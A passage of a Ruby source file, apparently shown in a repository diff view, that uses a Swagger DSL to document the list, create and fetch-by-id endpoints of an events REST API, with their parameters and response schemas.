end
|
||||
|
||||
parameter do
|
||||
key :name, :offset
|
||||
key :in, :query
|
||||
key :description, RootApiDoc::OFFSET_DESC
|
||||
key :example, RootApiDoc::OFFSET_DEFAULT
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
key :required, false
|
||||
end
|
||||
|
||||
parameter do
|
||||
key :name, :order
|
||||
key :in, :query
|
||||
key :description, RootApiDoc::ORDER_DESC
|
||||
key :type, :string
|
||||
key :required, false
|
||||
key :enum, RootApiDoc::ORDER_ENUM
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns event data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :Event
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/events POST
|
||||
operation :post do
|
||||
key :description, 'Create an event.'
|
||||
key :tags, [ 'event' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the event.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE
|
||||
property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE
|
||||
property :host, type: :string, format: :ipv4, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE
|
||||
property :critical, type: :boolean, description: CRITICAL_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC
|
||||
property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Event
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/events/{id}' do
|
||||
# Swagger documentation for /api/v1/events/:id GET
|
||||
operation :get do
|
||||
key :description, 'Return a specific event that is stored in the database.'
|
||||
key :tags, [ 'event' ]
|
||||
|
||||
parameter do
|
||||
key :name, :id
|
||||
key :in, :path
|
||||
key :description, 'ID of event to retrieve.'
|
||||
key :required, true
|
||||
key :type, :integer
|
||||
key :format, :int32
|
||||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns event data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Event
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user